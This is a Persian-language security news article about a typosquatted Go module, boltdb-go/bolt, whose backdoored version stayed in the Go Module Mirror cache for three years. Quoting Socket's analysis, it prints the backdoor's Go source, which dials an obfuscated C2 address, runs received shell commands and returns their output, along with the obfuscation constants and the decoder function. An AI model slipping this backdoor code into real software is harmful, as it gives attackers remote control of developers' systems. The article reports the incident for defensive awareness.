Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • حمله ی زنجیره تامین روی اکوسیستم Golang
  • آسیب پذیری امنیتی
  • آنالیز بدافزار
  • اخبار
  • بازیگران تهدید

حمله ی زنجیره تامین روی اکوسیستم Golang

On بهمن 23, 1403
seyyid
Share
زمان مطالعه: 6 دقیقه

حملات زنجیره تأمین (Supply Chain Attack) نوعی حمله سایبری هستن که مهاجم بجای هدف قرار دادن مستقیم یک سازمان یا کاربر نهایی، از طریق تأمین‌کنندگان نرم‌افزار، کتابخانه‌ها، ابزارهای توسعه، یا زیرساختهای مرتبط به سیستم هدف نفوذ میکنه. در این روش، مهاجم یک مؤلفه، مانند یک بروزرسانی نرم‌افزاری، کتابخانه کد، یا وابستگی‌های پروژه رو آلوده میکنه تا در نهایت به کاربران نهایی یا سازمانهای وابسته حمله کنه.

این حملات چیز جدیدی نیستن و بارها و به روشهای مختلفی انجام شدن. مثلا قبلا هکرها از این روش برای آلوده کردن بسته های پایتونی httpslib و colorslib و libhttps استفاده کردن. همچنین حمله ی هکرهای روسی از طریق Solarwinds هم جزء حملات معروف در این دسته هستش. با این حال برای اولین بار، هکرها رفتن سراغ پیاده سازی این حمله، روی اکوسیستم گولنگ (Golang).

معمولا در دنیای متن باز ما یک اصطلاحی داریم بنام Mirror Proxy که در حقیقت یک سرور واسطه‌ای هستش که نسخه‌ی کش‌ شده از محتوای اصلی رو ذخیره و به کاربران ارائه میده، بدون اینکه درخواست مستقیماً به منبع اصلی ارسال بشه.

یکی از این Mirror Proxyها در اکوسیستم گولنگ، Go Module Mirror هستش که بسته‌های متن‌باز موجود در GitHub و سایر منابع رو کش میکنه تا دانلودها سریعتر انجام بشن و همچنین از سازگاری این بسته‌ها با سایر بخشهای اکوسیستم Go اطمینان حاصل میکنه.

بطور پیش‌فرض، زمانیکه شخصی از ابزارهای خط فرمان در Go برای دانلود یا نصب بسته‌ها استفاده میکنه، درخواستها از طریق این سرویس مسیریابی میشن. در توضیحات این سرویس در سایت، اشاره شده که این پروکسی توسط تیم Go ارائه شده و توسط گوگل اجرا میشه.

طبق اعلام شرکت امنیتی Socket در روز دوشنبه، از نوامبر 2021، سرویس Go Module Mirror یک نسخه آلوده به بکدور از یک ماژول پرکاربرد رو میزبانی میکرده. این فایل از تکنیکی به نام Typosquatting استفاده کرده. روشی که در اون فایلهای مخرب با نامهایی مشابه فایلهای قانونی و پرکاربرد ایجاد میشن و در مخازن محبوب قرار میگیرن. اگه شخصی هنگام فراخوانی فایل از طریق خط فرمان، تایپ اشتباهی داشته باشه یا تغییر جزئی در نام اصلی ایجاد کنه، بجای فایل واقعی، فایل مخرب رو دریافت میکنه. این روش در حملات فیشینگ مرتبط با نام دامنه هم رایجه.

ماژول مخرب با نام boltdb-go/bolt منتشر شده، که نسخه‌ی تغییریافته از ماژول اصلی boltdb/bolt محسوب میشه. بسته BoltDB بطور گسترده در اکوسیستم Go مورد استفاده قرار میگیره، بطوریکه 8,367 بسته دیگه به اون وابسته هستن. استفاده وسیع از اون در هزاران پروژه، BoltDB رو به یکی از ماژولهای برجسته و مورد اعتماد در جامعه Go تبدیل کرده.

بسته مخرب ابتدا در GitHub ظاهر شد، اما بعداً نسخه اون به ورژن اصلی و قانونی برگردونده شد. با این حال، در آن زمان Go Module Mirror نسخه بکدوردار رو کش کرده و اونو برای سه سال در سرویس خودش ذخیره داشته.

محققان Socket اعلام کردن: موفقیت این حمله به طراحی سرویس Go Module Proxy وابسته بود، سرویسی که برای بهبود عملکرد و دسترس پذیری، اولویت رو به کش کردن میده. زمانیکه یک نسخه از ماژول در کش ذخیره بشه، همچنان از طریق Go Module Proxy در دسترس باقی میمونه، حتی اگه منبع اصلی بعداً تغییر کنه. در حالیکه این طراحی برای کاربردهای قانونی مفید، مهاجم از اون سوءاستفاده کرده تا کد مخرب رو توزیع کنه، حتی پس از اعمال تغییرات در مخزن اصلی.

موارد دیگه ای هم برای جذب توسعه‌دهندگان به این بسته طراحی شده بود. یکی از اونا این بود که فایل README همراه با boltdb-go/bolt کپی شده از نسخه اصلی و قانونی بود. مورد دیگه این بود که بسته اصلی در گیتهاب آرشیو شده. توسعه‌دهندگان معمولاً فورکهای فعال رو به نسخه‌های قدیمی تر ترجیح میدن. برخی دیگه ممکنه فریب بخورن و تصور کنن که این بسته مخرب، نسخه اصلی و قانونی است.

این حمله یکی از اولین موارد ثبت‌شده سوءاستفاده از قابلیت کش دائمی ماژول‌های Go Module Mirror است. تاکنون مورد مشابهی بطور عمومی گزارش نشده بود، اما این حادثه نشون میده که لازم است آگاهی بیشتری در مورد تاکتیکهای پرسیست مشابه ایجاد بشه.

 

 

عملکرد بکدور:

بسته boltdb-go/bolt نسخه‌ی آلوده‌ شده از بسته‌ی قانونی BoltDB است که یک بکدور برای دسترسی از راه دور رو درون عملکردهای عادی دیتابیس مخفی کرده.

کد مخرب طوری طراحی شده که بطور مداوم به C2 در آدرس مبهم شده‌ی زیر متصل بشه:

 

1
49.12.198[.]231:20022

 

پس از برقراری اتصال، به دستورات دریافتی گوش میده، اونارو روی سیستم میزبان اجرا میکنه و خروجی رو به مهاجم ارسال میکنه. این کار به یک کاربر غیرمجاز، دسترسی کامل از راه دور به هر سیستمی که این بسته رو اجرا کنه، میده.

آدرس IP سرور که روی Hetzner Online (AS24940) میزبانی میشد، از اعتبار بالایی برخوردار بود. محققان Socket مشکوکن که زیرساخت این حمله بطور خاص برای این کمپین ایجاد شده تا از شناسایی جلوگیری کنه.

محققا گفتن که برخلاف بدافزارهای معمولی که بصورت تصادفی توزیع میشن، این بکدور طوری طراحی شده که در محیطهای توسعه‌ مورد اعتماد پنهان بشه، که این امر احتمال آلوده شدن گسترده قبل از کشف شدن رو افزایش میده.

کد زیر در فایل db.go، بخشی از کد مخرب هستش که برای برقراری ارتباط و فعال‌سازی بکدور استفاده میشده‌:

 

Go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
func ApiInit() {
    go func() {
        defer func() {
            // Persistence mechanism:
            // If the function panics (e.g. connection loss), restart after 30 seconds
            if r := recover(); r != nil {
                time.Sleep(30 * time.Second)
                ApiInit()
            }
        }()
 
        for {
            d := net.Dialer{Timeout: 10 * time.Second}
 
            // Obfuscated C2 connection:  
            // Constructs a hidden IP address and port using _r()
            conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort)))
            if err != nil {
                // Stealth:
                // If the connection fails, retry in 30 seconds to avoid immediate detection
                time.Sleep(30 * time.Second)
                continue
            }
 
            // Remote command execution loop  
            // Reads incoming commands and executes them
            for {
                message, _ := bufio.NewReader(conn).ReadString('\n')
                args, err := shellwords.Parse(strings.TrimSuffix(message, "\n"))
                if err != nil {
                    fmt.Fprintf(conn, "Parse err: %s\n", err)
                    continue
                }
 
                // Execution of arbitrary shell commands  
                var out []byte
                if len(args) == 1 {
                    out, err = exec.Command(args[0]).Output()
                } else {
                    out, err = exec.Command(args[0], args[1:]...).Output()
                }
 
                // Exfiltration:  
                // Sends the command output or error back to the threat actor
                if err != nil {
                    fmt.Fprintf(conn, "%s\n", err)
                }
                fmt.Fprintf(conn, "%s\n", out)
            }
        }
    }()
}

 

کدهای زیر که از فایل cursor.go گرفته شده، نشون دهنده مقادیر مبهم شده توسط بازیگر تهدید هستش:

 

Go
1
2
3
4
5
const (
    MaxMemSize = 64966512577  // Obfuscated IP part
    MaxIndex   = 6179852731   // Obfuscated IP part
    MaxPort    = 2060272      // Obfuscated port
)

 

این مقادیر توسط ()r_ از حالت مبهم خارج میشن:

 

Go
1
2
3
4
5
6
7
8
9
func _r(s string) string {
    // String manipulation / obfuscation
    // Replaces '5' with '.' and removes '6' and '7' to disguise the C2 address
 
    ret := strings.ReplaceAll(s, "5", ".")
    ret = strings.ReplaceAll(ret, "6", "")
    ret = strings.ReplaceAll(ret, "7", "")
    return ret
}

 

مقدار مبهم شده:

 

1
"649665125776179852731:2060272"

 

در مثال بالا، مقدار 5 به . تبدیل میشه و مقدار 6 و 7 حذف میشن. خروجی نهایی بصورت زیر خواهد بود:

 

1
"49.12.198[.]231:20022"

 

همونطور که مشاهده میکنید، ویژگیهای مخرب در چندین فایل داخل بسته‌ی boltdb-go/bolt پراکنده شدن تا از شناسایی جلوگیری بشه. فایل db.go اتصال بکدور رو شروع میکنه. فایل cursor.go بطور مخفیانه ثابت‌های مبهم شده ای رو تعریف میکنه که در مراحل بعدی به یک آدرس IP تبدیل میشن. تابع ()r_ آدرس C2 مهاجم رو بطور داینامیک بازسازی میکنه تا ابزارهای معمولی تحلیل استاتیک نتونن به‌ راحتی زیرساخت مخرب رو شناسایی کنن.

بکدور زمانی فعال میشه که یک توسعه‌دهنده تابع Open رو فراخوانی کنه. این عملکرد باعث ایجاد یک اتصال TCP به آدرس C2 میشه، جایی که در انتظار دریافت و اجرای دستورات مهاجم هستش.

یک روال بازنشانی داخلی نیز تعبیه شده تا در صورت کرش کردن یا از کار افتادن بکدور، بصورت خودکار مجدداً اجرا بشه و دسترسی به سیستم آلوده را بطور مداوم حفظ کنه.

 

توالی رویدادهای حمله:

محققان توالی رویدادهای این حمله رو بصورت زیر شرح دادن:

  1. مهاجم یک مخزن جعلی در GitHub ایجاد میکنه با نام: github.com/boltdb-go/bolt
  2. اونا نسخه‌ای آلوده به بکدور (v1.3.1) رو منتشر کردن که شامل یک مکانیزم دسترسی مخفی از راه دور بود.
  3. سرویس Go Module Mirror این نسخه رو دریافت و کش کرد تا برای نصبهای آینده ذخیره بشه.
  4. مهاجم مخزن GitHub رو تغییر داد و نسخه v1.3.1 رو با یک نسخه تمییز جایگزین کرد.
  5. بازرسان انسانی که GitHub رو بررسی میکردن، فقط نسخه تمیز رو مشاهده کردن.
  6. با وجود اینکه مخزن GitHub ایمن به نظر میرسید، سرویس Go Module Mirror همچنان نسخه مخرب v1.3.1 رو به توسعه‌دهندگان ارائه میداد.
  7. محققا بسته مخرب رو شناسایی کرده و در تاریخ 30 ژانویه 2025 درخواست حذف اونو از Go Module Mirror ارسال کردن، و سپس دوباره در 3 فوریه 2025 این درخواست رو تکرار کردن.
  8. همچنین، مخزن GitHub و حساب مرتبط با اونو به GitHub گزارش دادن تا برای بررسی بیشتر و حذف شدن اقدام بشه (3 فوریه 2025).
  9. با اینکه در زمان کشف، مخزن GitHub تمیز شده بود، اما نسخه کش‌ شده که از طریق Go Module Proxy ارائه میشد، همچنان مخرب باقی مونده بود. این موضوع نشون میده که رفتار کش کردن ماژولها در Go یک ریسک امنیتی است، چون به مهاجمان اجازه میده پس از کش شدن بسته، ردپای خودشون رو مخفی کنن.

 

بیانیه گوگل:

گوگل در خصوص این موضوع بیانیه داده:

این ماژول از سرویس Go Module Proxy و GitHub حذف شده و به پایگاه داده آسیب‌پذیری‌های Go اضافه شده تا افرادی که ممکن است تحت تأثیر قرار گرفته باشن، از اون مطلع بشن. ما در حال رفع این مشکل از طریق روشهایی مانند تحلیل قابلیت‌ها (Capability Analysis) با ابزار Capslock و مقایسه داده‌ها با سرویس deps.dev هستیم. ما از تیم Socket و مشارکت‌کنندگان تیم Go که این ماژول رو شناسایی و برای رفع اون اقدام کردن، قدردانی می‌کنیم. ما به همکاری خود با صنعت ادامه خواهیم داد تا آگاهی درباره مسائل امنیتی رایج در پروژه‌های متن‌باز رو افزایش بدیم و از ابتکاراتی مانند SLSA و OpenSSF برای بهبود امنیت پشتیبانی میکنیم.

 

نتیجه گیری:

این تحقیق یک هشدار مهم درباره اهمیت بررسی دقیق کدها قبل از اجرای اونا روی دستگاههای عملیاتی ارائه میده. این فرآیند شامل موارد زیر:

  • بررسی صحت و یکپارچگی بسته قبل از نصب،
  • تحلیل وابستگیهای بسته برای شناسایی هرگونه رفتار غیرعادی،
  • استفاده از ابزارهای امنیتی که کدهای نصب‌شده رو در سطحی عمیق تر بررسی میکنن.

 

منابع:

Socket

Arstechnica

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی آنالیز بدافزار اخبار بازیگران تهدیدIn Go Module Mirror , Golang , Mirror Proxy , Supply Chain Attack , typosquatting , بکدور , حملات زنجیره تامین , گولنگ

راهبری نوشته

تغییر مدل کسب و کار در صنعت امنیت سایبری تهاجمی
آسیب پذیری SQLi در PostgreSQL

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

بایگانی‌ها

  • می 2025
  • آوریل 2025
  • مارس 2025
  • فوریه 2025
  • ژانویه 2025
  • دسامبر 2024
  • نوامبر 2024
  • اکتبر 2024
  • سپتامبر 2024
  • آگوست 2024
  • جولای 2024
  • ژوئن 2024
  • می 2024
  • آوریل 2024
  • مارس 2024
  • فوریه 2024
  • ژانویه 2024
  • دسامبر 2023
  • نوامبر 2023
  • اکتبر 2023
  • سپتامبر 2023
  • آگوست 2023
  • جولای 2023
  • ژوئن 2023
  • می 2023
  • آوریل 2023
  • مارس 2023
  • فوریه 2023
  • ژانویه 2023
  • دسامبر 2022

پست های مرتبط

  • آنالیز بدافزار
  • اخبار
  • بازیگران تهدید
  • تیم آبی
  • مقالات
seyyid
On دی 2, 1401دی 19, 1401

مصاحبه با هکر اوکراینی ، Herm1t ، در خصوص حملات سایبری هواداران کرملین

  • آسیب پذیری امنیتی
  • اخبار
  • باگ بانتی
seyyid
On اسفند 1, 1402

بهترین محققین امنیتی مایکروسافت برای سه ماهه چهارم 2023

  • اخبار
  • افشای اطلاعات
  • بازیگران تهدید
seyyid
On شهریور 15, 1403شهریور 15, 1403

هک 20 بانک ایرانی و پرداخت باج 3 میلیون دلاری

  • آسیب پذیری امنیتی
  • اخبار
seyyid
On خرداد 30, 1402

اصلاح چندین آسیب پذیری در روترهای ASUS

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei Off By One Security out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404